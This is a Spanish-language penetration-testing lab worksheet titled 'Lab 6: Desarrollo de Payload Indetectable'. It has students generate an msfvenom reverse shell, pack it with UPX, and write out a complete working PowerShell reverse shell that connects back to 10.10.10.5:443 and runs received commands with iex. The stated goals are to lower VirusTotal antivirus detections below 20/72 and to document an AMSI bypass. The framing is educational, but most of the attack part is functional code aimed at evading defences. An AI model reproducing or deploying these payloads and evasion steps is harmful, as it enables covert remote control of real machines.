Lab 6: Desarrollo de Payload Indetectable
Objetivo
Generar un payload, aplicarle técnicas de ofuscación y verificar su detectabilidad.
Prerrequisitos
- Kali Linux
- Cuenta en VirusTotal (API key gratuita)
Entorno
# Instalar herramientas
pip install requests
apt install msfvenom upx-x86 -yEscenario
Desarrolla un payload de reverse shell que evada la detección de antivirus básicos.
Pasos
Paso 1: Generar Payload Base
# Payload básico
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=443 -f elf -o shell_basic.elf
# Verificar con VirusTotal (usar API)
# Documentar detecciones: X/70Paso 2: Ofuscación con UPX
# Comprimir con UPX
upx -9 -o shell_packed.elf shell_basic.elf
# Verificar detecciónPaso 3: Ofuscación PowerShell
# Script de reverse shell ofuscado
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.5",443)
$stream = $client.GetStream()
[byte[]]$buf = 0..65535|%{0}
while($data = $stream.Read($buf, 0, $buf.Length)) {
$sendback = (iex $data 2>&1 | Out-String )
$sendbuf = [Text.Encoding]::UTF8.GetBytes($sendback)
$stream.Write($sendbuf, 0, $sendbuf.Length)
}
$client.Close()Paso 4: Comparativa
| Payload | Tamaño | Detección VT | Notas |
|---|---|---|---|
| Basic | |||
| UPX | |||
| Ofuscado |
Entregable
Archivo: payload_analysis.md
Incluir: - Screenshots de VirusTotal - Comparativa de detectabilidad - Recomendaciones para reducir detección
Resultado Esperado
Al completar el lab, el estudiante debe haber medido cuantitativamente la efectividad de las técnicas de evasión:
- Tabla comparativa completa: Los 3 payloads enviados a VirusTotal con resultados numéricos reales (ej.
Basic: 42/72,UPX: 31/72,Ofuscado: 18/72). - Reverse shell funcional: Captura del listener
nc -lvnp 443recibiendo la conexión del payload generado, mostrando prompt de shell interactiva. - AMSI bypass documentado (si aplica Windows): Output de PowerShell mostrando que
amsiInitFailedfue activado antes de ejecutar el script. - Reducción de detección: Al menos una técnica que reduzca la detección en ≥15 motores AV respecto al payload base.
Flag de completitud: Screenshot de VirusTotal con el payload final mostrando menos de 20/72 detecciones, o justificación técnica si no se logró.